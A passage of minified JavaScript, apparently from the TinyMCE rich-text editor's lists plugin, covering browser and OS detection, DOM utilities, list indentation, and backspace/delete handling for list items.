return { current: current, version: version, isWindows: isOS(windows, current), isiOS: isOS(ios, current), isAndroid: isOS(android, current), isOSX: isOS(osx, current), isLinux: isOS(linux, current), isSolaris: isOS(solaris, current), isFreeBSD: isOS(freebsd, current) }; }; var OperatingSystem = { unknown: unknown$2, nu: nu$2, windows: constant(windows), ios: constant(ios), android: constant(android), linux: constant(linux), osx: constant(osx), solaris: constant(solaris), freebsd: constant(freebsd) }; var DeviceType = function (os, browser, userAgent) { var isiPad = os.isiOS() && /ipad/i.test(userAgent) === true; var isiPhone = os.isiOS() && !isiPad; var isAndroid3 = os.isAndroid() && os.version.major === 3; var isAndroid4 = os.isAndroid() && os.version.major === 4; var isTablet = isiPad || isAndroid3 || isAndroid4 && /mobile/i.test(userAgent) === true; var isTouch = os.isiOS() || os.isAndroid(); var isPhone = isTouch && !isTablet; var iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false; return { isiPad: constant(isiPad), isiPhone: constant(isiPhone), isTablet: constant(isTablet), isPhone: constant(isPhone), isTouch: constant(isTouch), isAndroid: os.isAndroid, isiOS: os.isiOS, isWebView: constant(iOSwebview) }; }; var detect$1 = function (candidates, userAgent) { var agent = String(userAgent).toLowerCase(); return find(candidates, function (candidate) { return candidate.search(agent); }); }; var detectBrowser = function (browsers, userAgent) { return detect$1(browsers, userAgent).map(function (browser) { var version = Version.detect(browser.versionRegexes, userAgent); return { current: browser.name, version: version }; }); }; var detectOs = function (oses, userAgent) { return detect$1(oses, userAgent).map(function (os) { var version = Version.detect(os.versionRegexes, userAgent); return { current: os.name, version: version }; }); }; var UaString = { detectBrowser: detectBrowser, detectOs: detectOs }; var contains = function (str, substr) { return str.indexOf(substr) !== -1; }; var normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/; var checkContains = function (target) { return function (uastring) { return contains(uastring, target); }; }; var browsers = [ { name: 'Edge', versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/], search: function (uastring) { return contains(uastring, 'edge/') && contains(uastring, 'chrome') && contains(uastring, 'safari') && contains(uastring, 'applewebkit'); } }, { name: 'Chrome', versionRegexes: [ /.*?chrome\/([0-9]+)\.([0-9]+).*/, normalVersionRegex ], search: function (uastring) { return contains(uastring, 'chrome') && !contains(uastring, 'chromeframe'); } }, { name: 'IE', versionRegexes: [ /.*?msie\ ?([0-9]+)\.([0-9]+).*/, /.*?rv:([0-9]+)\.([0-9]+).*/ ], search: function (uastring) { return contains(uastring, 'msie') || contains(uastring, 'trident'); } }, { name: 'Opera', versionRegexes: [ normalVersionRegex, /.*?opera\/([0-9]+)\.([0-9]+).*/ ], search: checkContains('opera') }, { name: 'Firefox', versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/], search: checkContains('firefox') }, { name: 'Safari', versionRegexes: [ normalVersionRegex, /.*?cpu os ([0-9]+)_([0-9]+).*/ ], search: function (uastring) { return (contains(uastring, 'safari') || contains(uastring, 'mobile/')) && contains(uastring, 'applewebkit'); } } ]; var oses = [ { name: 'Windows', search: checkContains('win'), versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/] }, { name: 'iOS', search: function (uastring) { return contains(uastring, 'iphone') || contains(uastring, 'ipad'); }, versionRegexes: [ /.*?version\/\ ?([0-9]+)\.([0-9]+).*/, /.*cpu os ([0-9]+)_([0-9]+).*/, /.*cpu iphone os ([0-9]+)_([0-9]+).*/ ] }, { name: 'Android', search: checkContains('android'), versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/] }, { name: 'OSX', search: checkContains('os x'), versionRegexes: [/.*?os\ x\ ?([0-9]+)_([0-9]+).*/] }, { name: 'Linux', search: checkContains('linux'), versionRegexes: [] }, { name: 'Solaris', search: checkContains('sunos'), versionRegexes: [] }, { name: 'FreeBSD', search: checkContains('freebsd'), versionRegexes: [] } ]; var PlatformInfo = { browsers: constant(browsers), oses: constant(oses) }; var detect$2 = function (userAgent) { var browsers = PlatformInfo.browsers(); var oses = PlatformInfo.oses(); var browser = UaString.detectBrowser(browsers, userAgent).fold(Browser.unknown, Browser.nu); var os = UaString.detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu); var deviceType = DeviceType(os, browser, userAgent); return { browser: browser, os: os, deviceType: deviceType }; }; var PlatformDetection = { detect: detect$2 }; var detect$3 = cached(function () { var userAgent = domGlobals.navigator.userAgent; return PlatformDetection.detect(userAgent); }); var PlatformDetection$1 = { detect: detect$3 }; var ATTRIBUTE = domGlobals.Node.ATTRIBUTE_NODE; var CDATA_SECTION = domGlobals.Node.CDATA_SECTION_NODE; var COMMENT = domGlobals.Node.COMMENT_NODE; var DOCUMENT = domGlobals.Node.DOCUMENT_NODE; var DOCUMENT_TYPE = domGlobals.Node.DOCUMENT_TYPE_NODE; var DOCUMENT_FRAGMENT = domGlobals.Node.DOCUMENT_FRAGMENT_NODE; var ELEMENT = domGlobals.Node.ELEMENT_NODE; var TEXT = domGlobals.Node.TEXT_NODE; var PROCESSING_INSTRUCTION = domGlobals.Node.PROCESSING_INSTRUCTION_NODE; var ENTITY_REFERENCE = domGlobals.Node.ENTITY_REFERENCE_NODE; var ENTITY = domGlobals.Node.ENTITY_NODE; var NOTATION = domGlobals.Node.NOTATION_NODE; var ELEMENT$1 = ELEMENT; var is = function (element, selector) { var dom = element.dom(); if (dom.nodeType !== ELEMENT$1) { return false; } else { var elem = dom; if (elem.matches !== undefined) { return elem.matches(selector); } else if (elem.msMatchesSelector !== undefined) { return elem.msMatchesSelector(selector); } else if (elem.webkitMatchesSelector !== undefined) { return elem.webkitMatchesSelector(selector); } else if (elem.mozMatchesSelector !== undefined) { return elem.mozMatchesSelector(selector); } else { throw new Error('Browser lacks native selectors'); } } }; var eq = function (e1, e2) { return e1.dom() === e2.dom(); }; var regularContains = function (e1, e2) { var d1 = e1.dom(); var d2 = e2.dom(); return d1 === d2 ? false : d1.contains(d2); }; var ieContains = function (e1, e2) { return Node.documentPositionContainedBy(e1.dom(), e2.dom()); }; var browser = PlatformDetection$1.detect().browser; var contains$1 = browser.isIE() ? ieContains : regularContains; var is$1 = is; var parent = function (element) { return Option.from(element.dom().parentNode).map(Element.fromDom); }; var children = function (element) { return map(element.dom().childNodes, Element.fromDom); }; var child = function (element, index) { var cs = element.dom().childNodes; return Option.from(cs[index]).map(Element.fromDom); }; var firstChild = function (element) { return child(element, 0); }; var lastChild = function (element) { return child(element, element.dom().childNodes.length - 1); }; var spot = Immutable('element', 'offset'); var before = function (marker, element) { var parent$1 = parent(marker); parent$1.each(function (v) { v.dom().insertBefore(element.dom(), marker.dom()); }); }; var append = function (parent, element) { parent.dom().appendChild(element.dom()); }; var before$1 = function (marker, elements) { each(elements, function (x) { before(marker, x); }); }; var append$1 = function (parent, elements) { each(elements, function (x) { append(parent, x); }); }; var remove = function (element) { var dom = element.dom(); if (dom.parentNode !== null) { dom.parentNode.removeChild(dom); } }; var name = function (element) { var r = element.dom().nodeName; return r.toLowerCase(); }; var type = function (element) { return element.dom().nodeType; }; var isType$1 = function (t) { return function (element) { return type(element) === t; }; }; var isElement = isType$1(ELEMENT); var rawSet = function (dom, key, value) { if (isString(value) || isBoolean(value) || isNumber(value)) { dom.setAttribute(key, value + ''); } else { domGlobals.console.error('Invalid call to Attr.set. Key ', key, ':: Value ', value, ':: Element ', dom); throw new Error('Attribute value was not simple'); } }; var setAll = function (element, attrs) { var dom = element.dom(); each$1(attrs, function (v, k) { rawSet(dom, k, v); }); }; var clone = function (element) { return foldl(element.dom().attributes, function (acc, attr) { acc[attr.name] = attr.value; return acc; }, {}); }; var isSupported = function (dom) { return dom.style !== undefined && isFunction(dom.style.getPropertyValue); }; var internalSet = function (dom, property, value) { if (!isString(value)) { domGlobals.console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom); throw new Error('CSS value must be a string: ' + value); } if (isSupported(dom)) { dom.style.setProperty(property, value); } }; var set = function (element, property, value) { var dom = element.dom(); internalSet(dom, property, value); }; var clone$1 = function (original, isDeep) { return Element.fromDom(original.dom().cloneNode(isDeep)); }; var deep = function (original) { return clone$1(original, true); }; var shallowAs = function (original, tag) { var nu = Element.fromTag(tag); var attributes = clone(original); setAll(nu, attributes); return nu; }; var mutate = function (original, tag) { var nu = shallowAs(original, tag); before(original, nu); var children$1 = children(original); append$1(nu, children$1); remove(original); return nu; }; var joinSegment = function (parent, child) { append(parent.item, child.list); }; var joinSegments = function (segments) { for (var i = 1; i < segments.length; i++) { joinSegment(segments[i - 1], segments[i]); } }; var appendSegments = function (head$1, tail) { lift2(last(head$1), head(tail), joinSegment); }; var createSegment = function (scope, listType) { var segment = { list: Element.fromTag(listType, scope), item: Element.fromTag('li', scope) }; append(segment.list, segment.item); return segment; }; var createSegments = function (scope, entry, size) { var segments = []; for (var i = 0; i < size; i++) { segments.push(createSegment(scope, entry.listType)); } return segments; }; var populateSegments = function (segments, entry) { for (var i = 0; i < segments.length - 1; i++) { set(segments[i].item, 'list-style-type', 'none'); } last(segments).each(function (segment) { setAll(segment.list, entry.listAttributes); setAll(segment.item, entry.itemAttributes); append$1(segment.item, entry.content); }); }; var normalizeSegment = function (segment, entry) { if (name(segment.list) !== entry.listType) { segment.list = mutate(segment.list, entry.listType); } setAll(segment.list, entry.listAttributes); }; var createItem = function (scope, attr, content) { var item = Element.fromTag('li', scope); setAll(item, attr); append$1(item, content); return item; }; var appendItem = function (segment, item) { append(segment.list, item); segment.item = item; }; var writeShallow = function (scope, cast, entry) { var newCast = cast.slice(0, entry.depth); last(newCast).each(function (segment) { var item = createItem(scope, entry.itemAttributes, entry.content); appendItem(segment, item); normalizeSegment(segment, entry); }); return newCast; }; var writeDeep = function (scope, cast, entry) { var segments = createSegments(scope, entry, entry.depth - cast.length); joinSegments(segments); populateSegments(segments, entry); appendSegments(cast, segments); return cast.concat(segments); }; var composeList = function (scope, entries) { var cast = foldl(entries, function (cast, entry) { return entry.depth > cast.length ? writeDeep(scope, cast, entry) : writeShallow(scope, cast, entry); }, []); return head(cast).map(function (segment) { return segment.list; }); }; var isList$1 = function (el) { return is$1(el, 'OL,UL'); }; var hasFirstChildList = function (el) { return firstChild(el).map(isList$1).getOr(false); }; var hasLastChildList = function (el) { return lastChild(el).map(isList$1).getOr(false); }; var isIndented = function (entry) { return entry.depth > 0; }; var isSelected = function (entry) { return entry.isSelected; }; var cloneItemContent = function (li) { var children$1 = children(li); var content = hasLastChildList(li) ? children$1.slice(0, -1) : children$1; return map(content, deep); }; var createEntry = function (li, depth, isSelected) { return parent(li).filter(isElement).map(function (list) { return { depth: depth, isSelected: isSelected, content: cloneItemContent(li), itemAttributes: clone(li), listAttributes: clone(list), listType: name(list) }; }); }; var indentEntry = function (indentation, entry) { switch (indentation) { case 'Indent': entry.depth++; break; case 'Outdent': entry.depth--; break; case 'Flatten': entry.depth = 0; } }; var hasOwnProperty = Object.prototype.hasOwnProperty; var shallow = function (old, nu) { return nu; }; var baseMerge = function (merger) { return function () { var objects = new Array(arguments.length); for (var i = 0; i < objects.length; i++) { objects[i] = arguments[i]; } if (objects.length === 0) { throw new Error('Can\'t merge zero objects'); } var ret = {}; for (var j = 0; j < objects.length; j++) { var curObject = objects[j]; for (var key in curObject) { if (hasOwnProperty.call(curObject, key)) { ret[key] = merger(ret[key], curObject[key]); } } } return ret; }; }; var merge = baseMerge(shallow); var cloneListProperties = function (target, source) { target.listType = source.listType; target.listAttributes = merge({}, source.listAttributes); }; var previousSiblingEntry = function (entries, start) { var depth = entries[start].depth; for (var i = start - 1; i >= 0; i--) { if (entries[i].depth === depth) { return Option.some(entries[i]); } if (entries[i].depth < depth) { break; } } return Option.none(); }; var normalizeEntries = function (entries) { each(entries, function (entry, i) { previousSiblingEntry(entries, i).each(function (matchingEntry) { cloneListProperties(entry, matchingEntry); }); }); }; var Cell = function (initial) { var value = initial; var get = function () { return value; }; var set = function (v) { value = v; }; var clone = function () { return Cell(get()); }; return { get: get, set: set, clone: clone }; }; var parseItem = function (depth, itemSelection, selectionState, item) { return firstChild(item).filter(isList$1).fold(function () { itemSelection.each(function (selection) { if (eq(selection.start, item)) { selectionState.set(true); } }); var currentItemEntry = createEntry(item, depth, selectionState.get()); itemSelection.each(function (selection) { if (eq(selection.end, item)) { selectionState.set(false); } }); var childListEntries = lastChild(item).filter(isList$1).map(function (list) { return parseList(depth, itemSelection, selectionState, list); }).getOr([]); return currentItemEntry.toArray().concat(childListEntries); }, function (list) { return parseList(depth, itemSelection, selectionState, list); }); }; var parseList = function (depth, itemSelection, selectionState, list) { return bind(children(list), function (element) { var parser = isList$1(element) ? parseList : parseItem; var newDepth = depth + 1; return parser(newDepth, itemSelection, selectionState, element); }); }; var parseLists = function (lists, itemSelection) { var selectionState = Cell(false); var initialDepth = 0; return map(lists, function (list) { return { sourceList: list, entries: parseList(initialDepth, itemSelection, selectionState, list) }; }); }; var global$8 = tinymce.util.Tools.resolve('tinymce.Env'); var createTextBlock = function (editor, contentNode) { var dom = editor.dom; var blockElements = editor.schema.getBlockElements(); var fragment = dom.createFragment(); var node, textBlock, blockName, hasContentNode; if (editor.settings.forced_root_block) { blockName = editor.settings.forced_root_block; } if (blockName) { textBlock = dom.create(blockName); if (textBlock.tagName === editor.settings.forced_root_block) { dom.setAttribs(textBlock, editor.settings.forced_root_block_attrs); } if (!NodeType.isBlock(contentNode.firstChild, blockElements)) { fragment.appendChild(textBlock); } } if (contentNode) { while (node = contentNode.firstChild) { var nodeName = node.nodeName; if (!hasContentNode && (nodeName !== 'SPAN' || node.getAttribute('data-mce-type') !== 'bookmark')) { hasContentNode = true; } if (NodeType.isBlock(node, blockElements)) { fragment.appendChild(node); textBlock = null; } else { if (blockName) { if (!textBlock) { textBlock = dom.create(blockName); fragment.appendChild(textBlock); } textBlock.appendChild(node); } else { fragment.appendChild(node); } } } } if (!editor.settings.forced_root_block) { fragment.appendChild(dom.create('br')); } else { if (!hasContentNode && (!global$8.ie || global$8.ie > 10)) { textBlock.appendChild(dom.create('br', { 'data-mce-bogus': '1' })); } } return fragment; }; var outdentedComposer = function (editor, entries) { return map(entries, function (entry) { var content = fromElements(entry.content); return Element.fromDom(createTextBlock(editor, content.dom())); }); }; var indentedComposer = function (editor, entries) { normalizeEntries(entries); return composeList(editor.contentDocument, entries).toArray(); }; var composeEntries = function (editor, entries) { return bind(groupBy(entries, isIndented), function (entries) { var groupIsIndented = head(entries).map(isIndented).getOr(false); return groupIsIndented ? indentedComposer(editor, entries) : outdentedComposer(editor, entries); }); }; var indentSelectedEntries = function (entries, indentation) { each(filter(entries, isSelected), function (entry) { return indentEntry(indentation, entry); }); }; var getItemSelection = function (editor) { var selectedListItems = map(Selection.getSelectedListItems(editor), Element.fromDom); return lift2(find(selectedListItems, not(hasFirstChildList)), find(reverse(selectedListItems), not(hasFirstChildList)), function (start, end) { return { start: start, end: end }; }); }; var listsIndentation = function (editor, lists, indentation) { var entrySets = parseLists(lists, getItemSelection(editor)); each(entrySets, function (entrySet) { indentSelectedEntries(entrySet.entries, indentation); before$1(entrySet.sourceList, composeEntries(editor, entrySet.entries)); remove(entrySet.sourceList); }); }; var DOM$1 = global$6.DOM; var splitList = function (editor, ul, li) { var tmpRng, fragment, bookmarks, node, newBlock; var removeAndKeepBookmarks = function (targetNode) { global$5.each(bookmarks, function (node) { targetNode.parentNode.insertBefore(node, li.parentNode); }); DOM$1.remove(targetNode); }; bookmarks = DOM$1.select('span[data-mce-type="bookmark"]', ul); newBlock = createTextBlock(editor, li); tmpRng = DOM$1.createRng(); tmpRng.setStartAfter(li); tmpRng.setEndAfter(ul); fragment = tmpRng.extractContents(); for (node = fragment.firstChild; node; node = node.firstChild) { if (node.nodeName === 'LI' && editor.dom.isEmpty(node)) { DOM$1.remove(node); break; } } if (!editor.dom.isEmpty(fragment)) { DOM$1.insertAfter(fragment, ul); } DOM$1.insertAfter(newBlock, ul); if (NodeType.isEmpty(editor.dom, li.parentNode)) { removeAndKeepBookmarks(li.parentNode); } DOM$1.remove(li); if (NodeType.isEmpty(editor.dom, ul)) { DOM$1.remove(ul); } }; var SplitList = { splitList: splitList }; var outdentDlItem = function (editor, item) { if (is$1(item, 'dd')) { mutate(item, 'dt'); } else if (is$1(item, 'dt')) { parent(item).each(function (dl) { return SplitList.splitList(editor, dl.dom(), item.dom()); }); } }; var indentDlItem = function (item) { if (is$1(item, 'dt')) { mutate(item, 'dd'); } }; var dlIndentation = function (editor, indentation, dlItems) { if (indentation === 'Indent') { each(dlItems, indentDlItem); } else { each(dlItems, function (item) { return outdentDlItem(editor, item); }); } }; var selectionIndentation = function (editor, indentation) { var lists = map(Selection.getSelectedListRoots(editor), Element.fromDom); var dlItems = map(Selection.getSelectedDlItems(editor), Element.fromDom); var isHandled = false; if (lists.length || dlItems.length) { var bookmark = editor.selection.getBookmark(); listsIndentation(editor, lists, indentation); dlIndentation(editor, indentation, dlItems); editor.selection.moveToBookmark(bookmark); editor.selection.setRng(Range.normalizeRange(editor.selection.getRng())); editor.nodeChanged(); isHandled = true; } return isHandled; }; var indentListSelection = function (editor) { return selectionIndentation(editor, 'Indent'); }; var outdentListSelection = function (editor) { return selectionIndentation(editor, 'Outdent'); }; var flattenListSelection = function (editor) { return selectionIndentation(editor, 'Flatten'); }; var updateListStyle = function (dom, el, detail) { var type = detail['list-style-type'] ? detail['list-style-type'] : null; dom.setStyle(el, 'list-style-type', type); }; var setAttribs = function (elm, attrs) { global$5.each(attrs, function (value, key) { elm.setAttribute(key, value); }); }; var updateListAttrs = function (dom, el, detail) { setAttribs(el, detail['list-attributes']); global$5.each(dom.select('li', el), function (li) { setAttribs(li, detail['list-item-attributes']); }); }; var updateListWithDetails = function (dom, el, detail) { updateListStyle(dom, el, detail); updateListAttrs(dom, el, detail); }; var removeStyles = function (dom, element, styles) { global$5.each(styles, function (style) { var _a; return dom.setStyle(element, (_a = {}, _a[style] = '', _a)); }); }; var getEndPointNode = function (editor, rng, start, root) { var container, offset; container = rng[start ? 'startContainer' : 'endContainer']; offset = rng[start ? 'startOffset' : 'endOffset']; if (container.nodeType === 1) { container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container; } if (!start && NodeType.isBr(container.nextSibling)) { container = container.nextSibling; } while (container.parentNode !== root) { if (NodeType.isTextBlock(editor, container)) { return container; } if (/^(TD|TH)$/.test(container.parentNode.nodeName)) { return container; } container = container.parentNode; } return container; }; var getSelectedTextBlocks = function (editor, rng, root) { var textBlocks = [], dom = editor.dom; var startNode = getEndPointNode(editor, rng, true, root); var endNode = getEndPointNode(editor, rng, false, root); var block; var siblings = []; for (var node = startNode; node; node = node.nextSibling) { siblings.push(node); if (node === endNode) { break; } } global$5.each(siblings, function (node) { if (NodeType.isTextBlock(editor, node)) { textBlocks.push(node); block = null; return; } if (dom.isBlock(node) || NodeType.isBr(node)) { if (NodeType.isBr(node)) { dom.remove(node); } block = null; return; } var nextSibling = node.nextSibling; if (global$4.isBookmarkNode(node)) { if (NodeType.isTextBlock(editor, nextSibling) || !nextSibling && node.parentNode === root) { block = null; return; } } if (!block) { block = dom.create('p'); node.parentNode.insertBefore(block, node); textBlocks.push(block); } block.appendChild(node); }); return textBlocks; }; var hasCompatibleStyle = function (dom, sib, detail) { var sibStyle = dom.getStyle(sib, 'list-style-type'); var detailStyle = detail ? detail['list-style-type'] : ''; detailStyle = detailStyle === null ? '' : detailStyle; return sibStyle === detailStyle; }; var applyList = function (editor, listName, detail) { if (detail === void 0) { detail = {}; } var rng = editor.selection.getRng(true); var bookmark; var listItemName = 'LI'; var root = Selection.getClosestListRootElm(editor, editor.selection.getStart(true)); var dom = editor.dom; if (dom.getContentEditable(editor.selection.getNode()) === 'false') { return; } listName = listName.toUpperCase(); if (listName === 'DL') { listItemName = 'DT'; } bookmark = Bookmark.createBookmark(rng); global$5.each(getSelectedTextBlocks(editor, rng, root), function (block) { var listBlock, sibling; sibling = block.previousSibling; if (sibling && NodeType.isListNode(sibling) && sibling.nodeName === listName && hasCompatibleStyle(dom, sibling, detail)) { listBlock = sibling; block = dom.rename(block, listItemName); sibling.appendChild(block); } else { listBlock = dom.create(listName); block.parentNode.insertBefore(listBlock, block); listBlock.appendChild(block); block = dom.rename(block, listItemName); } removeStyles(dom, block, [ 'margin', 'margin-right', 'margin-bottom', 'margin-left', 'margin-top', 'padding', 'padding-right', 'padding-bottom', 'padding-left', 'padding-top' ]); updateListWithDetails(dom, listBlock, detail); mergeWithAdjacentLists(editor.dom, listBlock); }); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); }; var isValidLists = function (list1, list2) { return list1 && list2 && NodeType.isListNode(list1) && list1.nodeName === list2.nodeName; }; var hasSameListStyle = function (dom, list1, list2) { var targetStyle = dom.getStyle(list1, 'list-style-type', true); var style = dom.getStyle(list2, 'list-style-type', true); return targetStyle === style; }; var hasSameClasses = function (elm1, elm2) { return elm1.className === elm2.className; }; var shouldMerge = function (dom, list1, list2) { return isValidLists(list1, list2) && hasSameListStyle(dom, list1, list2) && hasSameClasses(list1, list2); }; var mergeWithAdjacentLists = function (dom, listBlock) { var sibling, node; sibling = listBlock.nextSibling; if (shouldMerge(dom, listBlock, sibling)) { while (node = sibling.firstChild) { listBlock.appendChild(node); } dom.remove(sibling); } sibling = listBlock.previousSibling; if (shouldMerge(dom, listBlock, sibling)) { while (node = sibling.lastChild) { listBlock.insertBefore(node, listBlock.firstChild); } dom.remove(sibling); } }; var updateList = function (dom, list, listName, detail) { if (list.nodeName !== listName) { var newList = dom.rename(list, listName); updateListWithDetails(dom, newList, detail); } else { updateListWithDetails(dom, list, detail); } }; var toggleMultipleLists = function (editor, parentList, lists, listName, detail) { if (parentList.nodeName === listName && !hasListStyleDetail(detail)) { flattenListSelection(editor); } else { var bookmark = Bookmark.createBookmark(editor.selection.getRng(true)); global$5.each([parentList].concat(lists), function (elm) { updateList(editor.dom, elm, listName, detail); }); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); } }; var hasListStyleDetail = function (detail) { return 'list-style-type' in detail; }; var toggleSingleList = function (editor, parentList, listName, detail) { if (parentList === editor.getBody()) { return; } if (parentList) { if (parentList.nodeName === listName && !hasListStyleDetail(detail)) { flattenListSelection(editor); } else { var bookmark = Bookmark.createBookmark(editor.selection.getRng(true)); updateListWithDetails(editor.dom, parentList, detail); mergeWithAdjacentLists(editor.dom, editor.dom.rename(parentList, listName)); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); } } else { applyList(editor, listName, detail); } }; var toggleList = function (editor, listName, detail) { var parentList = Selection.getParentList(editor); var selectedSubLists = Selection.getSelectedSubLists(editor); detail = detail ? detail : {}; if (parentList && selectedSubLists.length > 0) { toggleMultipleLists(editor, parentList, selectedSubLists, listName, detail); } else { toggleSingleList(editor, parentList, listName, detail); } }; var ToggleList = { toggleList: toggleList, mergeWithAdjacentLists: mergeWithAdjacentLists }; var DOM$2 = global$6.DOM; var normalizeList = function (dom, ul) { var sibling; var parentNode = ul.parentNode; if (parentNode.nodeName === 'LI' && parentNode.firstChild === ul) { sibling = parentNode.previousSibling; if (sibling && sibling.nodeName === 'LI') { sibling.appendChild(ul); if (NodeType.isEmpty(dom, parentNode)) { DOM$2.remove(parentNode); } } else { DOM$2.setStyle(parentNode, 'listStyleType', 'none'); } } if (NodeType.isListNode(parentNode)) { sibling = parentNode.previousSibling; if (sibling && sibling.nodeName === 'LI') { sibling.appendChild(ul); } } }; var normalizeLists = function (dom, element) { global$5.each(global$5.grep(dom.select('ol,ul', element)), function (ul) { normalizeList(dom, ul); }); }; var NormalizeLists = { normalizeList: normalizeList, normalizeLists: normalizeLists }; var findNextCaretContainer = function (editor, rng, isForward, root) { var node = rng.startContainer; var offset = rng.startOffset; var nonEmptyBlocks, walker; if (node.nodeType === 3 && (isForward ? offset < node.data.length : offset > 0)) { return node; } nonEmptyBlocks = editor.schema.getNonEmptyElements(); if (node.nodeType === 1) { node = global$1.getNode(node, offset); } walker = new global$2(node, root); if (isForward) { if (NodeType.isBogusBr(editor.dom, node)) { walker.next(); } } while (node = walker[isForward ? 'next' : 'prev2']()) { if (node.nodeName === 'LI' && !node.hasChildNodes()) { return node; } if (nonEmptyBlocks[node.nodeName]) { return node; } if (node.nodeType === 3 && node.data.length > 0) { return node; } } }; var hasOnlyOneBlockChild = function (dom, elm) { var childNodes = elm.childNodes; return childNodes.length === 1 && !NodeType.isListNode(childNodes[0]) && dom.isBlock(childNodes[0]); }; var unwrapSingleBlockChild = function (dom, elm) { if (hasOnlyOneBlockChild(dom, elm)) { dom.remove(elm.firstChild, true); } }; var moveChildren = function (dom, fromElm, toElm) { var node, targetElm; targetElm = hasOnlyOneBlockChild(dom, toElm) ? toElm.firstChild : toElm; unwrapSingleBlockChild(dom, fromElm); if (!NodeType.isEmpty(dom, fromElm, true)) { while (node = fromElm.firstChild) { targetElm.appendChild(node); } } }; var mergeLiElements = function (dom, fromElm, toElm) { var node, listNode; var ul = fromElm.parentNode; if (!NodeType.isChildOfBody(dom, fromElm) || !NodeType.isChildOfBody(dom, toElm)) { return; } if (NodeType.isListNode(toElm.lastChild)) { listNode = toElm.lastChild; } if (ul === toElm.lastChild) { if (NodeType.isBr(ul.previousSibling)) { dom.remove(ul.previousSibling); } } node = toElm.lastChild; if (node && NodeType.isBr(node) && fromElm.hasChildNodes()) { dom.remove(node); } if (NodeType.isEmpty(dom, toElm, true)) { dom.$(toElm).empty(); } moveChildren(dom, fromElm, toElm); if (listNode) { toElm.appendChild(listNode); } var contains = contains$1(Element.fromDom(toElm), Element.fromDom(fromElm)); var nestedLists = contains ? dom.getParents(fromElm, NodeType.isListNode, toElm) : []; dom.remove(fromElm); each(nestedLists, function (list) { if (NodeType.isEmpty(dom, list) && list !== dom.getRoot()) { dom.remove(list); } }); }; var mergeIntoEmptyLi = function (editor, fromLi, toLi) { editor.dom.$(toLi).empty(); mergeLiElements(editor.dom, fromLi, toLi); editor.selection.setCursorLocation(toLi); }; var mergeForward = function (editor, rng, fromLi, toLi) { var dom = editor.dom; if (dom.isEmpty(toLi)) { mergeIntoEmptyLi(editor, fromLi, toLi); } else { var bookmark = Bookmark.createBookmark(rng); mergeLiElements(dom, fromLi, toLi); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); } }; var mergeBackward = function (editor, rng, fromLi, toLi) { var bookmark = Bookmark.createBookmark(rng); mergeLiElements(editor.dom, fromLi, toLi); var resolvedBookmark = Bookmark.resolveBookmark(bookmark); editor.selection.setRng(resolvedBookmark); }; var backspaceDeleteFromListToListCaret = function (editor, isForward) { var dom = editor.dom, selection = editor.selection; var selectionStartElm = selection.getStart(); var root = Selection.getClosestListRootElm(editor, selectionStartElm); var li = dom.getParent(selection.getStart(), 'LI', root); var ul, rng, otherLi; if (li) { ul = li.parentNode; if (ul === editor.getBody() && NodeType.isEmpty(dom, ul)) { return true; } rng = Range.normalizeRange(selection.getRng(true)); otherLi = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root); if (otherLi && otherLi !== li) { if (isForward) { mergeForward(editor, rng, otherLi, li); } else { mergeBackward(editor, rng, li, otherLi); } return true; } else if (!otherLi) { if (!isForward) { flattenListSelection(editor); return true; } } } return false; }; var removeBlock = function (dom, block, root) { var parentBlock = dom.getParent(block.parentNode, dom.isBlock, root); dom.remove(block); if (parentBlock && dom.isEmpty(parentBlock)) { dom.remove(parentBlock); } }; var backspaceDeleteIntoListCaret = function (editor, isForward) { var dom = editor.dom; var selectionStartElm = editor.selection.getStart(); var root = Selection.getClosestListRootElm(editor, selectionStartElm); var block = dom.getParent(selectionStartElm, dom.isBlock, root); if (block && dom.isEmpty(block)) { var rng = Range.normalizeRange(editor.selection.getRng(true)); var otherLi_1 = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root); if (otherLi_1) { editor.undoManager.transact(function () { removeBlock(dom, block, root); ToggleList.mergeWithAdjacentLists(dom, otherLi_1.parentNode); editor.selection.select(otherLi_1, true); editor.selection.collapse(isForward); }); return true; } } return false; }; var backspaceDeleteCaret = function (editor, isForward) { return backspaceDeleteFromListToListCaret(editor, isForward) || backspaceDeleteIntoListCaret(editor, isForward); }; var backspaceDeleteRange = function (editor) { var selectionStartElm = editor.selection.getStart(); var root = Selection.getClosestListRootElm(editor, selectionStartElm); var startListParent = editor.dom.getParent(selectionStartElm, 'LI,DT,DD', root); if (startListParent || Selection.getSelectedListItems(editor).length > 0) { editor.undoManager.transact(function () { editor.execCommand('Delete'); NormalizeLists.normalizeLists(editor.dom, editor.getBody()); }); return true; } return false; }; var backspaceDelete = function (editor, isForward) { return editor.selection.isCollapsed() ? backspaceDeleteCaret(editor, isForward) : backspaceDeleteRange(editor); }; var setup = function (editor) { editor.on('keydown', function (e) { if (e.keyCode === global$3.BACKSPACE) { if (backspaceDelete(editor, false)) { e.preventDefault(); } } else if (e.keyCode === global$3.DELETE) { if (backspaceDelete(editor, true)) { e.preventDefault(); } } }); }; var Delete = { setup: setup, backspaceDelete: backspaceDelete }; var get = function (editor) { return { backspaceDelete: function (isForward) { Delete.backspaceDelete(editor, isForward); } }; }; var Api = { get: get }; var queryListCommandState = function (editor, listName) { return function () { var parentList = editor.dom.getParent(editor.selection.getStart(), 'UL,OL,DL'); return parentList && parentList.nodeName === listName; }; }; var register = function (editor) { editor.on('BeforeExecCommand', function (e) { var cmd = e.command.toLowerCase(); if (cmd === 'indent') { indentListSelection(editor); } else if (cmd === 'outdent') { outdentListSelection(editor); } }); editor.addCommand('InsertUnorderedList', function (ui, detail) { ToggleList.toggleList(editor, 'UL', detail); }); editor.addCommand('InsertOrderedList', function (ui, detail) { ToggleList.toggleList(editor, 